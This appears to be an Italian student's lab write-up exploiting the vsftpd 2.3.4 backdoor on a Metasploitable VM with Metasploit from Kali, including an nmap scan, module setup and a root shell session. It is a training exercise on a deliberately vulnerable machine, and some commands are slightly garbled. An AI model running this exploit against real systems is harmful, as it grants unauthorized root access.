

# METASPLOT HACKING:

## #KALI LINUX

## #SERVIZIO VSFTPD SU

## METASPLOITABLE















NELLA LEZIONE PRATICA DI OGGI VEDREMO COME EFFETTUARE UNA SESSIONE DI HACKING CON METASPLOIT SULLA MACCHINA METASPLOITABLE.

**TRACCIA:**  
**PARTENDO DALL'ESERCIZIO GUIDATO VISTO NELLA LEZIONE TEORICA, VI CHIEDIAMO DI COMPLETARE UNA SESSIONE DI HACKING SULLA MACCHINA METASPLOITABLE, SUL SERVIZIO «VSFTPD» (LO STESSO VISTO IN LEZIONE TEORICA).**  
**L'UNICA DIFFERENZA, SARÀ L'INDIRIZZO DELLA VOSTRA MACCHINA METASPLOITABLE. CONFIGURATELO COME DI SEGUITO:**  
**192.168.1.149/24.**

UNA VOLTA OTTENUTA LA SESSIONE SULLA METASPLOITABLE, CREATE UNA CARTELLA CON IL COMANDO MKDIR NELLA DIRECTORY DI ROOT (/). CHIAMATE LA CARTELLA TEST\_METASPLOIT.

AL FINE DELL'ESERCIZIO LE DUE MACCHINE (KALI E METASPLOITABLE) STARANNO SU RETI DIVERSE, CAMBIO QUINDI L'IP STATICO DI METASPLOITABLE IN 192.168.1.149 COME DA TRACCIA, MENTRE QUELLO DI KALI LINUX RESTERÀ 192.168.50.100. LI METTO IN CONNESSIONE TRAMITE PFSENSE DI CUI REIMPOSTO LA LAN2 (QUELLA PREDEFINITA PER METASPLOITABLE) SU 192.168.1.1/24 E FACCIO UN PING DI PROVA DA KALI.

### #TABELLA ARP DI PFSENSE:

ARP Table						
Interface	IP Address	MAC Address	Hostname	Status	Link Type	Actions
WAN	10.0.2.15	08:00:27:0b:52:a1		Permanent	ethernet	 
WAN	10.0.2.2	52:54:00:12:35:02		Expires in 40 seconds	ethernet	 
WAN	10.0.2.3	52:54:00:12:35:03		Expires in 70 seconds	ethernet	 
LAN	192.168.50.100	08:00:27:ea:09:65		Expires in 1154 seconds	ethernet	 
LAN2	192.168.1.1	08:00:27:e7:49:df		Permanent	ethernet	 
LAN2	192.168.1.149	08:00:27:dc:03:d4		Expires in 842 seconds	ethernet	 
LAN	192.168.50.1	08:00:27:c5:d4:fd	pfSense.home.arpa	Permanent	ethernet	 

```
root@kali:~# nmap -ss 192.168.1.149 -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-19 12:33 EST

root@kali:~# ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data:
64 bytes from 192.168.1.149: icmp_seq=1 ttl=63 time=1.54 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=63 time=3.30 ms
^C
^C
192.168.1.149 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1006ms
rtt min/avg/max/mdev = 1.540/2.450/3.361/0.910 ms

root@kali:~# nmap -ss 192.168.1.149 -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-19 12:33 EST
Nmap scan report for 192.168.1.149
Host is up (0.0017s latency).
Not shown: 980 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2121/tcp  open  cproxy-ftp?  MySQL 5.0.51a-Subuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6001/tcp  open  irc          UnrealIRCd
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 159.64 seconds

root@kali:~# msfconsole
Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it
with setg RHOSTS x.x.x.x
```

AVVIO L'INTERFACCIA DI METASPLOIT SU KALI CON IL COMANDO «MSFCONSOLE», E CERCO UN MODULO EXPLOIT ADEGUATO AL SERVIZIO VULNERABILE CITATO NELLA TRACCIA CON «SEARCH VSFTPD». INDIVIDUATO L'EXPLOIT LO APRO CON IL COMANDO «USE» SEGUITO DAL PATH DELL'EXPLOIT STESSO E CONTROLLO I PARAMETRI NECESSARI PER LANCIARLO CON IL COMANDO «SHOW OPTIONS». NOTO LA VOCE «YES» DI FIANCO ALLA COLONNA DEI PARAMETRI REQUIRED RHOSTS, DEVO DUNQUE INSERIRE L'INDIRIZZO IP DELLA MACCHINA VITTIMA CON «SET RHOSTS 192.168.1.149». LA PORTA È GIÀ SETTATA DI DEFAULT SU 21 (TCP), CHE È QUELLA DEL SERVIZIO VSFTPD INDIVIDUATA ANCHE CON UNA VELOCE SCANSIONE CON NMAP. CONTROLLO I PAYLOAD ED UNA VOLTA APPURATO CHE NON CE NE SONO DA SELEZIONARE IN QUETSO CASO, POSSO DUNQUE LANCIARE L'ATTACCO CON IL COMANDO «EXPLOIT». ED ECCO CHE TRAMITE UNA REVERSE SHELL POSSO INTERAGIRE DIRETTAMENTE CON LA MACCHINA VITTIMA METASPLOITABLE, ED ESEGUIRE UNA SERIE DI COMANDI TRA CUI LA CREAZIONE DI UNA CARTELLA DENOMINATA "TEST\_METASPLOT" NELLA DIRECTORY DI ROOT COME RICHIESTO DALLA TRACCIA.

```
msf6 > use metasploit v6.3.55-dev
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
-----
Name      Current Setting  Required  Description
-----
CHOST      no               no        The local client address
CPORT      no               no        The local client port
Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):
-----
Name      Current Setting  Required  Description
-----
PAYLOAD   no               no        The local client address

Exploit target:
-----
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
-----
Name      Current Setting  Required  Description
-----
CHOST      no               no        The local client address
CPORT      no               no        The local client port
Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):
-----
Name      Current Setting  Required  Description
-----
PAYLOAD   no               no        The local client address

Exploit target:
-----
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
-----
#  Name      Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/interact  2011-02-03  normal No  Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 321 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:45839 -> 192.168.1.149:6200) at 2024-02-19 12:52:17 -0500

ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:dc:03:d4
          inet addr:192.168.1.149 Bcast:192.168.1.255 Mask:255.255.0
          inet6 addr: fe80::a00:27ff:fe0e:3d4/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4034 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4235 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:274200 (267.0 KB) TX bytes:274531 (268.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:364 errors:0 dropped:0 overruns:0 frame:0
          TX packets:364 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:174141 (170.0 KB) TX bytes:174141 (170.0 KB)

pwd
/
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmtoolsd
cd root
mkdir test_metasploit
ls
Desktop
reset_logs.sh
test_metasploit
vnc.log
ps
PID TTY          TIME CMD
1 ?            00:00:00 init
2 ?            00:00:00 kthreadd
3 ?            00:00:00 migration/0
4 ?            00:00:00 ksoftirqd/0
5 ?            00:00:00 watchdog/0
6 ?            00:00:00 events/0
7 ?            00:00:00 khalt
41 ?           00:00:00 kblockd/0
44 ?           00:00:00 kacpid
45 ?           00:00:00 kacpi_notify
90 ?           00:00:00 kseriod
129 ?          00:00:00 pdflush
130 ?          00:00:00 pdflush
131 ?          00:00:00 kswapd0
173 ?          00:00:00 aio/0
1129 ?         00:00:00 ksmagd
1319 ?         00:00:00 ata/0
1327 ?         00:00:00 ata_aux
1334 ?         00:00:00 ksuspend_usbd
1342 ?         00:00:00 khubd
2602 ?         00:00:00 scsi_eh_0
2164 ?         00:00:00 scsi_eh_1
2167 ?         00:00:00 scsi_eh_2
2190 ?         00:00:00 kjournald
2244 ?         00:00:00 udevd
2594 ?         00:00:00 kpsnoused
3518 ?         00:00:00 kjournald
3670 ?         00:00:00 rpciod/0
3685 ?         00:00:00 rpc.lidmapd
3906 ?         00:00:00 dd
4043 ?         00:00:00 sshd
4119 ?         00:00:00 mysqld_safe
4163 ?         00:00:00 logger
4372 ?         00:00:00 master
4379 ?         00:00:00 nmbd
4381 ?         00:00:00 smbd
4385 ?         00:00:00 smbd
4398 ?         00:00:00 xinetd
4406 ?         00:00:00 cron
4404 ?         00:00:00 jsvc
4495 ?         00:00:00 jsvc
4515 ?         00:00:00 apache2
4534 ?         00:00:00 rmiregistry
4538 ?         00:00:01 ruby
4547 ?         00:00:00 unrealircd
4556 ?         00:00:02 Xtightvnc
4560 ?         00:00:00 xstartu
4563 ?         00:00:00 xterm
4566 ?         00:00:03 fluxbox
4043 ?         00:00:00 sh
4949 ?         00:00:00 ps
```